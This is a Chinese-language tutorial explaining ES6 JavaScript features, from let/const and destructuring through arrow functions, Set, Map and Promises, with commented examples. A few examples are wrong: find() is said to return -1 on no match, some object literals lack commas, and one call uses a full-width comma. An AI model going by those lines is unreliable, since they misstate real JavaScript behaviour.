console.log(a); // Uncaught ReferenceError: a is not defined

// 解析：变量a只在函数作用域中有效，a在块级作用域{}里面

ES6之前 只有全局作用域和函数作用域，没有块级作用域，带来很多不合理的场景

第一种场景

内层变量可能会覆盖外层变量

var a = 'aaa';

function fn() {
  console.log(a); // 预解析：就是在浏览器解析代码之前，把变量的声明和函数的声明提升到该作用域的最上面
  if (false) {
    var a = 'bbb';
  }
}

fn(); // undefined

相当于

var a = 'aaa';
function fn() {
  var a;
  console.log(a); // 变量声明了但没有赋值，结果是undefined
  if (false) {
    var a = 'bbb';
  }
}

第二种场景

用来计数的循环变量泄露为全局变量

for (var i = 0; i < 5; i++) {
  // code
}
console.log(i); // 5 由于i没有采用块级作用域，那么i的作用域是全局的，打印结果是5

解决办法

for (let i = 0; i < 5; i++) {
  // code
}
console.log(i); // Uncaught ReferenceError: i is not defined

ES6块级作用域

  • 花括号 {} 和其中代码生成一个块
  • 在块中，let和const声明的变量和常量对外都是不可见的，称之为块级作用域
  • 只有使用let和const声明的变量或者常量在块中对外不可见，var声明的变量对外依然可见
function fn() {
  let a = 5;
  if (true) {
    let a = 10;
  }
  console.log(a);
}
fn(); // 5

上面的函数有两个代码块，都声明了变量n，运行后输出 5，这表示外层代码块不受内层代码块的影响。如果两次都使用var定义变量n，最后输出的值才是 10

function fn() {
  var a = 5;
  if (true) {
    var a = 10;
  }
  console.log(a);
}
fn() // 10

let 和 const

let

// 用来声明变量
{
  let num = 1;
  let str = 'hello world';
}


// 不可以重复声明
{
  let a = 1;
  let a = 2; // Uncaught SyntaxError: Identifier 'a' has already been declared
}


// 不存在变量提升
{
  console.log(a); // ReferenceError: a is not defined
  let a = 2;
}


// 只在声明所在的块级作用域内有效
{
  let a = 1;
  console.log(a); // 1
  var b = 2;
}
console.log(a); // Uncaught ReferenceError: a is not defined
console.log(b); // 2

示例

var a = 10;
function fn() {
  console.log(a);
  let a = 20;
}
fn(); // Uncaught ReferenceError: Cannot access 'a' before initialization

// 解析：初始化前无法访问a

const

// 用来声明常量（不可改，只读）
{
  const PI = 3.14;
}


// 不可以重新赋值
{
  const a = 1;
  a = 2; // Uncaught TypeError: Assignment to constant variable.
}


// 声明的时候必须初始化（赋值）
{
  const a;
  a = 10; // Uncaught SyntaxError: Missing initializer in const declaration
}


// 不可以重复声明
{
  const a = 10;
  const a = 20; // Uncaught SyntaxError: Identifier 'a' has already been declared
}


// 不存在变量提升
{
  console.log(a); // Uncaught ReferenceError: a is not defined
  const a = 5;
}


// 只在声明的块级作用域内有效
{
  const a = 10;
  console.log(a); // 10
}
console.log(a); // Uncaught ReferenceError: a is not defined

复合类型的数据（主要是对象和数组），可以这样子变动（它们在栈中的引用地址没变）

{
    const obj = {};
    obj.name = 'abc';
    
    // 将 foo 指向另一个对象，就会报错
    obj = {}; // Uncaught TypeError: Assignment to constant variable
}
{
    const arr = [];
    arr.push(123);
}

区别

// 相同点：
1. 都不存在变量提升
2. 都只在声明的块级作用域内有效

// 不同点：
1. 声明类型： let 声明变量， const 声明常量
  2. 赋值时机： let 可以声明变量与给变量赋值分开，使用 const 声明常量的时候必须同时赋值，否则报错

推荐

// 对于 数值、字符串、布尔值 经常会变的，用 let 声明
{
    let num = 10;
    let str = 'abc';
    let flag = true;
}

// 对象、数组和函数用 const 来声明
{
    const obj = {};
    const arr = [];
    const fn = function() {}
}

解构赋值

数组解构赋值

一次性声明多个变量

{
let [a, b, c, d] = [1, 2, 3];
console.log(a); // 1
console.log(b); // 2
console.log(c); // 3
console.log(d); // undefined
}

结合扩展运算符

{
let [a, b, ...c] = [1, 2, 3, 4, 5];
console.log(a); // 1
console.log(b); // 2
console.log(c); // [3, 4, 5]
}

允许指定默认值

{
let [a, b, c = 3] = [1, 2];
  
console.log(a); // 1
console.log(b); // 2
console.log(c); // 3
}
{
let [a, , , b] = [1, 2, 3, 4, 5];
console.log(a, b); // 1, 4
}
{
let [a, , ...b] = [1, 2, 3, 4, 5];
console.log(a, b); // 1, [3, 4, 5]
}

应用场景

// 变量交换
{
let a = 1;
let b = 2;
[a, b] = [b, a];
console.log(a, b); // 2, 1
}

对象解构赋值

数组中，变量的取值由它 排列的位置 决定；而对象中，变量必须与 属性 同名，才能取到正确的值

变量与属性同名

{
let { a, b } = { a: 1, b: 2 };
console.log(a); // 1
console.log(b); // 2
}
{
  let obj = { b: 2, a: 1 };
let { a, b, c } = obj;
console.log(a); // 1
console.log(b); // 2
  console.log(c); // undefined
}

允许指定默认值

{
let { a, b = 2 } = { a: 1 };
console.log(a); // 1
console.log(b); // 2
}

允许重命名

{
  let { a: res } = { a: 1, b: 2 };
  console.log(a); // ReferenceError: a is not defined （原名a变无效）
  console.log(res); // 1
}

函数参数解构赋值

函数参数的默认值

function fn(a = 1, b = 2){
return a + b;
}
fn() // 3  默认 a = 1, b = 2
fn(3) // 5  因为 a = 3, b = 2
fn(3，3) // 6  因为 a = 3, b = 3

函数参数的默认值（对象参数）

function fn({a = 1, b = 2} = {}) {
  console.log(a, b);
}
fn(); // 1 2
fn({ a: 2}); // 2 2
fn({ a: 3, b: 6}); // 3 6

字符串解构

字符串也可以解构赋值，这是因为此时，字符串被转换成了一个类似数组的对象

字符串解构

{
  const [a, b, c, d, e] = 'hello';
console.log(a); // h
console.log(b); // e
console.log(c); // l
console.log(d); // l
console.log(e); // o
}

把字符串转为数组

{
  const [...a] = 'hello';
console.log(a); // ["h", "e", "l", "l", "o"]
}

字符串扩展

模板字符串

模板字符串 用反引号（``）标识。它可以当作普通字符串使用，也可以用来定义多行字符串，或者在字符串中嵌入变量。

字符串中嵌套变量

原生JS写法

var a = 1;
var b = 2;
console.log('a + b = ' + (a + b)); // a + b = 3
var name = 'A';
var age = 18;
console.log('my name is '+ name + 'and my age is ' + age); // my name is A my age is 18

ES6 写法

// 字符串中嵌入变量模板字符串中嵌入变量，需要将变量名写在 ${ } 之中,可放入表达式
var a = 1;
var b = 2;
console.log(`a + b = ${a + b}`); // a + b = 3
var name = 'A';
var age = 18;
console.log(`my name is ${name} and my age is ${age}`); // my name is A my age is 18
var obj = { 
    a: 1,
    b: 2
}
console.log(`${obj.a + obj.b}`); // 3
var fn = (name) => `Hello ${name}!`;
fn('abc'); // "Hello abc!"

可调用函数

// 可以调用函数
function fn() {
  return 'abc';
}

`one ${fn()} one`
// one abc one

注意：如果在模板字符串中需要使用反引号，则前面要用反斜杠转义

let a = `\`Hello\` World!`; // `Hello` World!

字符串函数

函数含义
includes()返回布尔值，表示是否找到了参数字符串
startsWith()返回布尔值，表示参数字符串是否在原字符串的头部
endsWith()返回布尔值，表示参数字符串是否在原字符串的尾部
{
let str = 'Hello world!';
str.startsWith('Hello'); // true
str.endsWith('!'); // true
str.includes('o'); // true
}

这三个方法都支持第二个参数，表示开始搜索的位置

{
let str = 'Hello world!';
str.startsWith('world', 6); // true
str.endsWith('Hello', 5); // true
str.includes('Hello', 6); // false
}
函数含义
repeat()字符串重复
padStart()
padEnd()
{
let str = 'abc';
console.log(str.repeat(2));// abcabc
}

字符串填补（多用于日期：2019-09-01）

{
let str = '1';
console.log(str.padStart(2, '0')); // 01
console.log(str.padStart(3, '0')); // 001
console.log(str.padEnd(2, '0')); // 10
console.log(str.padEnd(3, '0')); // 100
}

数组的扩展

扩展运算符（spread）是三个点（…），它好比 rest 参数的逆运算，将一个数组转为用逗号分隔的参数序列

扩展运算符

展开数组

console.log(...[1, 2, 3]); // 1 2 3
console.log(1, ...[2, 3, 4], 5); // 1 2 3 4 5

注意，只有函数用时，扩展运算符才可以放在圆括号中

(...[1, 2]); // 报错

数组合并

const a = [1, 2, 3];
const b = [4, 5, 6];

// ES5 的数组合并
a.concat(b); // [1, 2, 3, 4, 5, 6]

// ES6 的数组合并
[...a, ...b] // [1, 2, 3, 4, 5, 6]

函数调用

function add(a, b) {
  return a + b;
}

const arr = [2, 3];
add(...arr); // 5

*替代 apply *

由于扩展运算符可以展开数组，所以不再需要apply方法，将数组转为函数的参数了

function fn(a, b, c) {
  console.log(a, b, c)
}
var arr = [1, 2, 3];

// ES5 的写法
fn.apply(null, arr); // 1 2 3

// ES6的写法
fn(...arr); // 1 2 3
// ES5 的写法
Math.max.apply(null, [3, 9, 6]);

// ES6 的写法
Math.max(...[3, 9, 6]);

// 等同于
Math.max(3, 9, 6);

将一个数组添加到另一个数组的尾部

// ES5的 写法
var arr1 = [0, 1, 2];
var arr2 = [3, 4, 5];
Array.prototype.push.apply(arr1, arr2);

// ES6 的写法
let arr1 = [0, 1, 2];
let arr2 = [3, 4, 5];
arr1.push(...arr2);

与解构赋值结合

const [a, ...b] = [1, 2, 3];
a // 1
b // [2, 3]

const [a, ...b] = [];
a // undefined
b // []

const [a, ...b] = ["foo"];
a  // "foo"
b  // []

如果将扩展运算符用于数组赋值，只能放在参数的最后一位，否则会报错

const [...a, b] = [1, 2, 3]; // 报错
const [a, ...b] = [1, 2, 3];

复制数组

const a = [1, 2];
const b = a;

b[0] = 2;
a // [2, 2]

以下两种写法，不会修改原来的数组

const a = [1, 2];

// 写法一
const b = [...a];

// 写法二
const [...b] = a;

b[0] = 2;
a // [1, 2]

不过，是浅拷贝，使用的时候需要注意

将字符串转为真正的数组

[...'hello']
// [ "h", "e", "l", "l", "o" ]

数组函数

函数含义
includes()方法返回一个布尔值，判断数组是否包含给定的值，与字符串的 includes 方法类似
find()返回符合传入测试（函数）条件的数组元素
findIndex()返回符合传入测试（函数）条件的数组元素索引
for…of数组遍历
Array.of()方法用于将一组值，转换为数组

includes()

[1, 2, 3].includes(2); // true
[1, 2, 3].includes(4); // false
[1, 2, NaN].includes(NaN); // true

该方法的第二个参数表示搜索的起始位置，默认为 0。如果第二个参数为负数，则表示倒数的位置，如果这时它大于数组长度（比如第二个参数为 -4，但数组长度为 3 ），则会重置为从 0 开始

[1, 2, 3].includes(3, 3); // false
[1, 2, 3].includes(3, -1); // true

find() 和 findIndex()

[1, 2, 3, 4, 5].find((item) => item > 3); // 4  -可以看到只返回一个值

[1, 2, 3, 4, 5].findIndex((item) => item > 3); // 3  -返回索引
[1, 2, 3, 4, 5].find((item, index, arr) => item > 9); // -1  -所有成员都不符合条件，则返回-1

两个方法都可以发现NaN，弥补了数组的indexOf方法的不足

[NaN].indexOf(NaN); // -1
[NaN].findIndex(y => Object.is(NaN, y)); // 0

for … of数组遍历

直接得到数组的值

var arr = [10, 20, 30];
for(var i of arr) {
console.log(i);
}

// 10
// 20
// 30
var arr = [{a: 10}, {b: 20}, {c: 30}];
for(var i of arr) {
console.log(i);
}

// {a: 10}
// {b: 20}
// {c: 30}

keys() 是对键名的遍历 values()是对值的遍历 entries() 是对键值对的遍历

for (let index of [1, 2].keys()) {
  console.log(index);
}
// 0
// 1

for (let val of [1, 2].values()) {
  console.log(val);
}
// 1
// 2

for (let [index, val] of [1, 2].entries()) {
  console.log(index, val);
}
// 0 1
// 1 2

Array.of()

Array.of(1, 2, 3); // [1, 2, 3]

Array.of(3); // [3]

Array.of(); // []

Array.of(undefined); // [undefined]

与Array()的区别

Array(); // []

Array(3); // [, , ,]

Array(1, 2, 3); // [1, 2, 3]

Array(undefined); // [undefined]

对象的扩展

属性简写

const foo = 'bar';
const baz = {foo};
console.log(baz) // {foo: "bar"}

// 等同于
const baz = {foo: foo};

上面代码中，变量foo直接写在大括号里面。这时，属性名就是变量名, 属性值就是变量值

let a = 1;
let b = 2;

const es5 = {
a: a
b: b
}
const es6 = {
  a,
  b
}
console.log(es6); // {a: 1, b: 2}
function fn(a, b) {
  return {a, b};
}

// 等同于
function fn(a, b) {
  return {a: a, b: b};
}

fn(1, 2) // {a: 1, b: 2}

方法简写

const es6 = {
say() {
return 'hello wrold';
  }
};

// 等同于
const es5 = {
  say: function() {
    return 'hello wrold';
  }
};

属性表达式

{
  let a = 'b';
  let es5 = {
    a:'c'
    b:'c'
  };
  
  let es6 = {
   [a]:'c' // 相当于上面 b:'c'
  }
}

扩展运算符

let { a, b, ...c } = { a: 1, b: 2, c: 3, d: 4 };
a // 1
b // 2
c // { c: 3, d: 4 }

由于解构赋值要求等号右边是一个对象，所以如果等号右边是undefined或null，就会报错，因为它们无法转为对象

let { ...a } = null; // 报错
let { ...a } = undefined; // 报错

解构赋值必须是最后一个参数，否则会报错

let { ...a, b, c } = obj; // 报错
let { a, ...b, ...c } = obj; // 报错

注意，解构赋值的拷贝是浅拷贝，即如果一个键的值是复合类型的值（数组、对象、函数）、那么解构赋值拷贝的是这个值的引用，而不是这个值的副本

let obj = { a: { b: 1 } };
let { ...newObj } = obj;
obj.a.b = 2;
console.log(newObj.a.b); // 2

对象API

判断两个字符串是否相等

'abc' === 'abc'; // true
Object.is('abc', 'abc'); // true

判断两个数组是否相等

[] === []; // false
Object.is([], []); // false

// 解析：两个数组引用的是两个不同的地址

拷贝对象

Object.assign({a: 1}, {b: 2}); // {a: 1, b: 2}  浅拷贝

遍历对象

{
const obj = {a: 1, b: 2, c: 3};
  for(let [key, value] of Object.entries(obj)) {
  console.log([key, value]);
  }
}
// ['a', 1]
// ['b', 2]
// ['c', 3]

Object.assign()

Object.assign方法用于对象的合并，将源对象（source）的所有可枚举属性，复制到目标对象（target）

const target = { a: 1 };
const source1 = { b: 2 };
const source2 = { c: 3 };
Object.assign(target, source1, source2);
console.log(target); // {a: 1, b: 2, c: 3}

Object.assign方法的第一个参数是目标对象，后面的参数都是源对象。

注意，如果目标对象与源对象有同名属性，或多个源对象有同名属性，则后面的属性会覆盖前面的属性。

const target = { a: 1, b: 1 };
const source1 = { b: 2, c: 2 };
const source2 = { c: 3 };
Object.assign(target, source1, source2);
console.log(target); // {a: 1, b: 2, c: 3}

Object.assign 方法实行的是浅拷贝，而不是深拷贝

const obj1 = {a: {b: 1}};
const obj2 = Object.assign({}, obj1);
obj1.a.b = 2; // 修改b
obj2.a.b; // 2, 也改变了

上面代码中，源对象 obj1 的 a 属性的值是一个对象，Object.assign 拷贝得到的是这个对象的引用。这个对象的任何变化，都会反映到目标对象上面

数值的扩展

指数运算符

ES2016 新增了一个指数运算符（**）

2 ** 2; // 4
2 ** 3; // 8
2 ** 3 ** 2; // 512  相当于=>  2 ** (3 ** 2)

这个运算符的一个特点是右结合，而不是常见的左结合。多个指数运算符连用时，是从最右边开始计算的

指数运算符可以与等号结合，形成一个新的赋值运算符（**=）

let a = 1.5;
a **= 2;
// 等同于 a = a * a;
let b = 4;
b **= 3;
// 等同于 b = b * b * b;

函数的扩展

默认参数

ES6 之前，不能直接为函数的参数指定默认值，只能采用变通的方法

function fn(a, b) {
  b = b || 2;
  console.log(a, b);
}
fn(1); // 1 2

ES6 允许为函数的参数设置默认值，即直接写在参数定义的后面

function fn(a, b = 2) {
  console.log(a, b);
}

fn(1); // 1 2
fn(1, 3); // 1 3
function Point(a = 0, b = 0) {
  this.a = a;
  this.b = b;
}

const p = new Point();
p; // { a: 0, b: 0 }

参数变量是默认声明的，所以不能用let或const再次声明

function fn(a = 3) {
  let a = 1; // 报错
  const a = 2; // 报错
}

与解构赋值默认值结合使用

function fn({a, b = 5}) {
  console.log(a, b);
}

fn({}); // undefined 5
fn({a: 1}); // 1 5
fn({a: 1, b: 2}); // 1 2
fn(); // 报错
function fn({a, b = 5} = {}) {
  console.log(a, b);
}

fn(); // undefined 5

参数默认值位置

通常情况下，定义了默认值的参数，应该是函数的尾参数

function fn(a = 1, b) {
  return [a, b];
}

fn(); // [1, undefined]
fn(2); // [2, undefined])
fn(, 1); // 报错
fn(undefined, 1); // [1, 1]

上面代码中，有默认值的参数都不是尾参数。这时，无法只省略该参数，而不省略它后面的参数，除非显式输入undefined

如果传入undefined，将触发该参数等于默认值，null则没有这个效果

function fn(a = 5, b = 6) {
console.log(a, b);
}

fn(undefined, null)
// 5 null

上面代码中，x参数对应undefined，结果触发了默认值，y参数等于null，就没有触发默认值

rest 参数

ES6 引入 rest参数（形式为…变量名），用于获取函数的多余参数，这样就不需要使用 arguments 对象了。rest 参数搭配的变量是一个数组，该变量将多余的参数放入数组中

function add(...values) {
 let sum = 0;
 for (let val of values) {
   sum += val;
 }
 return sum;
}
add(2, 5, 3); // 10
function add(a, ...values) {
 let sum = 0;
 for (let val of values) {
   sum += val;
 }
 return sum;
}
add(2, 5, 3); // 8   因为a = 2, ...values = [5, 3]

上面代码的 add 函数是一个求和函数，利用 rest 参数，可以向该函数传入任意数目的参数。

注意，rest 参数之后不能再有其他参数（即只能是最后一个参数），否则会报错

// 报错
function fn(a, ...b, c) {
// ...
}

箭头函数（ES6）

箭头函数语法

总结：

箭头函数相当于匿名函数，所以需要变量接收

如果参数只有一个，不需要括号，参数没有或者多个则需要括号

如果代码块部分多于一条语句，需要大括号{}

如果需要返回一个对象，必须在对象外面加上括号

var f = () => 'hello'

// 等同于
var f = () => { return 'hello' }

// 等同于
var f = function() { return 'hello' }
// ES5
var f = function(a, b) { return a * b };

// ES6
var f = (a, b) => a * b;

当箭头函数只有一个参数时，可以省略括号，直接写参数名

var f = a => a;

当箭头函数没有参数或者多个参数是，不能省略括号

var f = () => 'hello';
var sum = (a, b) => a + b;

当箭头函数的代码块部分多于一条语句，就要使用 {} 将它们括起来，并且使用 return 语句返回

var sum = (a, b) => { 
  console.log('hello');
  return a + b; 
}
sum(1, 2);
// hello
// 3

由于大括号被解释为代码块，所以如果箭头函数直接返回一个对象，必须在对象外面加上括号，否则会报错

let getObj = id => ({ id: id, name: 'aaa' });

箭头函数示例

箭头函数可以与变量解构结合使用

const getName = ({ first, last }) => first + ' ' + last;

// 等同于
function getName(person) {
  return person.first + ' ' + person.last;
}

箭头函数使得表达更加简洁。

const iseven = n => n % 2 === 0
const square = n => n * n

箭头函数的一个用处是简化回调函数。

// 正常函数写法
[1, 2, 3].map(function(i) { 
    return i * i;
})

// 箭头函数写法
[1, 2, 3].map(i => i * i);

另一个例子是

// 正常函数写法
var res = arr.sort(function(a, b) {
  return a - b;
})

// 箭头函数写法
var res = arr.sort((a, b) => a - b);

下面是 rest 参数与箭头函数结合的例子

const f = (...a) => a;

f(1, 2, 3, 4, 5)
// [1, 2, 3, 4, 5]

const f = (a, ...b) => [a, b];

fn(1, 2, 3, 4, 5)
// [1, [2, 3, 4, 5]]

注意: 函数体内的 this 对象，就是定义时所在的对象，而不是使用时所在的对象

this 对象的指向是可变的，但是在箭头函数中，它是固定的

function foo() {
  setTimeout(() => {
    console.log('id:', this.id);
  }, 100);
}
let id = 21;
foo.call({ id: 42 });
// id: 42

上面代码中，setTimeout 的参数是一个箭头函数，这个箭头函数的定义生效是在 foo 函数生成时，而它的真正执行要等到 100 毫秒后。如果是普通函数，执行时 this 应该指向全局对象window，这时应该输出 21。但是，箭头函数导致 this 总是指向函数定义生效时所在的对象（本例是{ id: 42}），所以输出的是 42。

箭头函数特性

* 没有 this  super  arguments
* 不可以当作构造函数，也就不能通过 new 关键字调用
* 没有原型属性 prototype
* 不可以改变 this 指向
* 不支持重复的命名参数

注意：箭头函数和传统函数一样都有一个 name 属性，这一点是不变的

this指向的固定化，并不是因为箭头函数内部有绑定this的机制，实际原因是箭头函数根本没有自己的this，导致内部的this就是外层代码块的this。正是因为它没有this，所以也就不能用作构造函数

箭头函数没有this，只能从上下文获取this

箭头函数的this值，取决于函数外部非箭头函数的this值，如果上一层还是箭头函数，那就继续往上找，如果找不到那么this就是Window对象

var person = {
    f1: () => {
        console.log(this)
    },
    f2: function() {
        return () => { console.log(this) }
    }
}
person.f1();  // Window
person.f2()();  // person对象

箭头函数没有arguments对象

箭头函数也没有arguments对象，但是如果它外层还有一层非箭头函数的话，就会去找外层的非箭头函数的arguments对象，注意：箭头函数找arguments对象只会找外层非箭头函数的函数，如果外层是一个非箭头函数的函数如果它也没有arguments对象也会中断返回，就不会在往外层去找了，如下

var f1 = () => console.log(arguments);  // 执行该函数会抛出错误

function f2(a, b, c) {
    return () => {
        console.log(arguments); // [1, 2, 3]
    }
}
f2(1, 2, 3)();

可以清楚的看到当前的箭头函数没有arguments对象，然而就去它的外层去找非箭头函数的函数。``

function fn(a) {
    return function() {
        return () => {
            console.log(arguments); // []
        }
    }
}
fn(1)()();

上面示例中可以看到，里面的箭头函数往外层找非箭头函数的函数，然后不管外层这个函数有没有arguments对象都会返回。只要它是非箭头函数就可以，如果外层是箭头函数还会继续往外层找

var f = (...a) => console.log(a);
f(1, 2, 3); // [1, 2, 3]

箭头函数不能用new关键字声明

var Fn = () => {};
new Fn(); // 抛出错误，找不到constructor对象

箭头函数没有原型prototype

箭头函数没有原型，有可能面试官会问，JavaScript中所有的函数都有prototype属性吗

var fn = () => {};
fn.prototype; // undefined

箭头函数不能改变this指向

var person = {};
var fn = () => console.log(this);

fn.bind(person)(); // Window (不是person)
fn.call(person); // Window (不是person)
fn.apply(person); // Window (不是person)

箭头函数和普通函数的区别

* 相比普通函数, 箭头函数有更简洁的语法
* 箭头函数不绑定 this ，会捕获其所在的上下文的 this 值，作为自己的 this 值
* 箭头函数是匿名函数, 不能作为构造函数，不可以使用 new 命令，否则会抛出一个错误
* 箭头函数没有 arguments，取而代之用 rest参数...解决
* 箭头函数的 this 永远指向其上下文的 this ，任何方法都改变不了其指向，如 call()、bind()、apply() ，可以说正是因为没有自己的 this
* 箭头函数没有原型属性 prototype

Set

ES6 提供了新的数据结构 Set，它类似于数组，但是成员的值都是唯一的，没有重复的值

Set 本身是一个构造函数，用来生成 Set 数据结构（既然是构造函数，肯定需要new）

const s = new Set();
[2, 3, 5, 4, 5, 2, 2].forEach(i => s.add(i));
for(let i of s) {
console.log(i);
}
// 2 3 5 4

去除数组的重复成员

const set = new Set([1, 2, 3, 4, 4]);
[...set];
// [1, 2, 3, 4]

或者

const arr = [1, 1, 2, 3, 4, 4];
[...new Set(arr)];
// [1, 2, 3, 4]

或者

const arr = [1, 1, 2, 3, 4, 4];
Array.from(new Set(arr));
// [1, 2, 3, 4]

Map

Map 数据结构类似于对象，是键值对的集合，传统的键只能用字符串，Map 的键不限于字符串，各种类型的值（包括对象）都可以当作键。
属性和操作方法

size 属性，返回 Map 结构的成员总数
set(key,value)方法，设置set方法设置键名key对应的键值为value，然后返回整个 Map 结构。如果key已经有值，则键值会被更新，否则就新生成该
get(key) 方法，读取key对应的键值，如果找不到key，返回undefined
has(key) 方法，返回一个布尔值，表示某个键是否在当前 Map 对象之中。
delete(key) 方法，删除某个键，返回true。如果删除失败，返回false。
clear(key) 方法，清除所有成员，没有返回值。

Map 遍历

keys() // 返回键名的遍历器
values() // 返回键值的遍历器
entries() // 返回所有成员的遍历器
forEach() // 遍历Map的所有成员

Promise 教程

Promise 实例对象

Promise 是异步编程的一种解决方案 ，比传统的解决方案（回调函数和事件）更合理和更强大

所谓Promise，简单说就是一个容器，里面保存着某个未来才会结束的事件（通常是一个异步操作）的结果

Promise对象特点

（1）Promise对象可以保存异步操作的结果（2）Promise异步操作具有三种状态，Pending、Resolved 和 Rejected（3）Promise对象状态的改变只存在两种情况，Pending 到 Resolved 或者 Pending 到 Rejected（4）Promise对象的状态一旦确定，那么就无法改变，要么是 Resolved，要么是 Rejected

特别说明：Pending表示等待状态，Resolved表示处于完成状态，Rejected处于未完成状态

既然Promise创建的实例对象，是一个异步操作，那么异步操作的结果，只能有两种状态：

​ 状态1：异步执行成功，需要在内部调用成功的回调函数resolve把结果返回给调用者

​ 状态2：异步操作失败，需要在内部调用失败的回调函数reject 把结果返回给调用者

基本用法

let p = new Promise((resolve, reject) => {
    if (异步操作成功) {
        resolve(value)// 异步操作成功，就会调用这个回调函数，并把异步成功的结果当做参数
    } else {
        reject(error)// 异步操作失败，就会调用这个回调函数，并把异步失败的结果当做参数
    }
})

简单分析：

（1）通过构造函数new Promise()可以创建一个Promise对象实例，构造函数的参数是一个回调函数

（2）构造函数的回调函数具有两个函数参数，由引擎提供，也就是不需要我们提供

（3）执行resolve函数，那么状态变为Resolved，执行reject函数，状态变为Rejected

（4）构造函数调用后，回调函数会立马执行，然后根据调用的是resolve还是reject函数，确定状态

（5）状态确定后，再利用then方法执行对应的操作

p.then((value) => {
console.log(value)  // 这个value就是resolve(value)的参数value
}, (error) => {
    console.log(error)  // 这个error就是reject(error)的参数error
});

简单分析：

（1）.then方法的参数是两个回调函数

（2）如果p处于Resolved完成状态，那么执行第一个回调函数，如果处于Rejected状态，那么执行第二个回调函数

（3）回调函数中的参数value，分别是传递给resolve和reject函数的参数

（4） 第二回调函数是可以省略的

Promise示例

const p = new Promise(function(resolve, reject) {
    setTimeout(function() {
        resolve('hello')
    }, 5000)
})
p.then(function(value) {
    console.log(value)
})
// 5秒后输出 hello
function getHello(ms) {
    return new Promise((resolve, reject) => {
        setTimeout(resolve, ms, 'hello') // setTimeout(函数, 延时时间ms, 参数)
    })
}

getHello(5000).then((value) => { // 5s后输出hello  getHello(5000)=>返回一个实例对象
    console.log(value)
})
// 5秒后输出 hello
const p = new Promise((resolve, reject) => {
  console.log(1);
  resolve();
  console.log(2)
});

p.then(function() {
  console.log(3);
});

console.log(4);

// 1 2 4 3

上面代码中， Promise 新建后立即执行 ，首先输出1，然后，then方法指定的回调函数，将在当前脚本所有同步任务执行完才会执行，所以resolved最后输出。

resolve回调函数的参数除了正常的值以外，还可以返回另外一个Promise实例对象

const p1 = new Promise((res, rej) => {
    setTimeout(() => rej(new Error('失败')), 3000)
})

const p2 = new Promise((res, rej) => {
    setTimeout(() => res(p1), 1000)
})

p2.then(value => console.log(value), error => console.log(error)) // 3s后输出 Error: 失败

上面代码中，p1是一个 Promise，3 秒之后变为rejected。p2的状态在 1 秒之后改变，resolve方法返回的是p1。由于p2返回的是另一个 Promise，导致p2自己的状态无效了，由p1的状态决定p2的状态。所以，后面的then语句都变成针对后者（p1）。又过了 2 秒，p1变为rejected，导致触发catch方法指定的回调函数。

注意点

new Promise((resolve, reject) => {
resolve(1);
console.log(2);
}).then(v => {
console.log(v);
});
// 2
// 1

一般来说，调用resolve或reject以后，Promise 的使命就完成了，后继操作应该放到then方法里面，而不应该直接写在resolve或reject的后面。所以，最好在它们前面加上return语句，这样就不会有意外 

new Promise((resolve, reject) => {
return resolve(1);
// 后面的语句不会执行
console.log(2);
})

.then() 方法

只要是Promise实例对象就能调用then方法

p.then(onResolved, onRejected)

// onResolved：必需，当Promise对象变为 Resolved 状态时的回调函数
// onRejected：可选，当Promise对象变为 Rejected 状态时的回调函数

Promise 实例对象具有then方法，也就是说，then方法是定义在原型对象Promise.prototype上的

调用then方法，预先为这个Promise异步操作，指定成功(resolve)和失败(reject)回调函数

let p = new Promise((resolve, reject) => {
if (true) {
    resolve('resolve被调用');
  } else {
    reject('reject被调用');
  }
});
 
p.then((res) => { console.log(res)}, (err) => { console.log(err) })
// resolve被调用

分析：

调用Promise构造函数后，其回调函数会立马被调用

通过if语句判断之后，resolve()会被调用，于是Promise对象状态变为Resolved

于是就会执行then的第一个回调函数，打印结果是”resolve被调用”

then()方法返回一个promise对象，所以可以使用链式调用方式

let p = new Promise((resolve, reject) => {
    resolve('hello')
})
p.then((res) => {
    console.log(res);
    return `${res} world`
}).then((res) => {
    console.log(res);
})
// hello
// hello world

分析：

上述代码中，第二个then()方法的回调函数的参数是上一个then回调函数的返回值

then方法返回的是一个新的Promise实例（注意，不是原来那个Promise实例）。因此可以采用链式写法，即then方法后面再调用另一个then方法。

new Promise((res, rej) => {
    setTimeout(res, 3000, 'hello')
}).then(v => v).then((r) => console.log(r)) // 3s后输出hello

上面代码，可以看出，第二then的成功回调函数参的数，其实就是第一个then成功回调函数return返回的值，也就是说第一个then返回的值当做第二then的参数

.catch() 方法

p.catch(onRejected);

// onRejected：必需，当 p 的状态变为 Rejected 时，此回调函数就会执行
Promise.prototype.catch()方法是
.then(null, reject)
或
.then(undefined, reject) 的别名，用于指定发生错误时的回调函数

下面代码中，

如果该对象状态变为resolved，则会调用then()方法指定的回调函数

如果异步操作抛出错误，状态就会变为rejected，就会调用catch()方法指定的回调函数，处理这个错误

另外，then()方法指定的回调函数，如果运行中抛出错误，也会被catch()方法捕获。

p
.then((value) => console.log('成功：', value))
.catch((error) => console.log('失败：', error))

上面代码等同于：

p
.then((value) => console.log('成功：', value))
.then(null, (error) => console.log('失败：', error))

示例

const p = new Promise((res, rej) => {
    throw new Error('错误')
})
p.catch((error) => {
    console.log(error)
})
// Error: 错误

上面代码中，promise抛出一个错误，就被catch()方法指定的回调函数捕获。注意，上面的写法与下面两种写法是等价的。 

// 写法一
const p = new Promise((resolve, reject) => {
  try {
    throw new Error('错误')
  } catch(e) {
    reject(e)
  }
})
p.catch((error) => {
  console.log(error) // Error: 错误
})

// 写法二
const p = new Promise((resolve, reject) => {
  reject(new Error('错误'))
})
p.catch((error) => {
  console.log(error) // Error: 错误
})

比较上面两种写法，可以发现reject()方法的作用，等同于抛出错误。

如果 Promise 状态已经变成resolved，再抛出错误是无效的。 

const p = new Promise((resolve, reject) => {
  resolve('yes');
  throw new Error('no');
});
p
.then((res) => { console.log(res) })
.catch((err) => { console.log(err) })
// yes

上面代码中，Promise 在resolve语句后面，再抛出错误，不会被捕获，等于没有抛出。因为 Promise 的状态一旦改变，就永久保持该状态，不会再变了。

let p = new Promise(function(resolve, reject) {
  if (false) {
    resolve()
  } else {
    reject()
  }
})
 
p
.then(function () {
  console.log('异步成功')
})
.catch(function () {
  console.log('异步失败')
})
// 异步失败

或者

let p = new Promise(function(resolve, reject) {
  if (false) {
    resolve()
  } else {
    reject()
  }
})
 
p
.then(function () {
  console.log('异步成功')
}, function() {
  console.log('异步失败')
})
// 异步失败

或者

let p = new Promise(function(resolve, reject) {
  if (false) {
    resolve()
  } else {
    reject()
  }
})
 
p
.then(function () {
  console.log('异步成功')
})
.then(() => {}, () => { console.log('异步失败') })
// 异步失败

